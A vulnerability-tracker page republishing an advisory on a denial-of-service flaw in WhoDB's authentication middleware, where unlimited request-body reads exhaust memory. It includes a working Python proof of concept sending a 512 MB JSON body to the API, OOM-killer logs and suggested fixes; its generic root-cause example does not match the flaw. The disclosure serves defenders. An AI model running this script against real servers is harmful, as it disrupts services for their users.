Skip to content
Noroxi
OSV ecosystem advisory

GHSA-5pf6-cq2v-23ww: WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service

HighCVSS 7.5 · v3.1—No exploit No fix recorded

Noroxi assessment

Priority: Monitor (action score 30/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • No fixed version is recorded, but the references include a patch (commit or PR) link.

Low priority for now. See the fix and affected versions sections below.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary A Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions. Affects all versions up to the latest one (v0.43.0). ### Details The vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size limits: ```go func AuthMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { // No size limit on body reading body, err := io.ReadAll(r.Body) // ... // Creates another copy of the body r.Body = io.NopCloser(bytes.NewReader(body)) // ... // Unmarshals the body again, creating more copies if err := json.Unmarshal(body, &query); err != nil { return false } }) } ``` The issue is amplified by: 1. A generous 10-minute timeout (`middleware.Timeout(10*time.Minute)`) 2. High throttle limits (10000 concurrent requests, 1000 backlog) 3. Multiple copies of the request body being created during processing 4. No per-client rate limiting ### PoC 1. Run the latest WhoDB: ``` docker run -it -p 127.0.0.1:8080:8080 clidey/whodb ``` 2. Prepare a PoC Python script: ```python import requests import base64 import json import time # Create a sample token credentials = { "database": "test" } token = base64.b64encode(json.dumps(credentials).encode()).decode() # Create a large query that will pass initial checks # Using "Login" operation which is allowed payload = { "operationName": "Login", "variables": {}, # Create a large string (512 MB) "query": "A" * (512 * 1024 * 1024) } headers = { "Content-Type": "application/json", "Cookie": f"Token={token}" # or use Authorization header if IsAPIGatewayEnabled } url = "http://localhost:8080/api/query" # adjust as needed print("Sending large payload...") start = time.time() try: response = requests.post(url, json=payload, headers=headers) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed: {e}") print(f"Time taken: {time.time() - start:.2f}s") ``` 3. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process "core" is the entrypoint of the container. ``` [3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0 [3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0 ``` ### Impact - Severity: High - Authentication Required: No (public API endpoint) - Affected Components: All API endpoints (`/api/*`) - Impact Type: Denial of Service Any client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks. Fix considerations: 1. Implement request body size limits using `http.MaxBytesReader` 2. Reduce the request timeout from 10 minutes 3. Implement per-client rate limiting 4. Consider streaming body processing instead of loading entirely into memory

Published
Dec 19, 2024
Updated
Dec 20, 2024
EPSS
—

Report tools

JSON

Action score

30

Monitor

Low priority for now.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • No fixed version yet

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-5pf6-cq2v-23ww

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Gogithub.com/clidey/whodb/core

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/clidey/whodb/corefrom 0—

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GO-2024-3350WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service in github.com/clidey/whodb/core
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

No fix version is recorded for this entry. Check the references for vendor advisories.

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
none
Availability
high · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
None
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv

Root cause

Code that parses nested structures sets no depth or size limit. A small input can turn into a disproportionate processing load.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
function expand(node) {  return node.children.map(expand);}

Fixed

ts
const MAX_DEPTH = 32;function expand(node, depth = 0) {  if (depth > MAX_DEPTH) throw new Error("too deep");  return node.children.map((c) => expand(c, depth + 1));}

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

Show all references (2 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records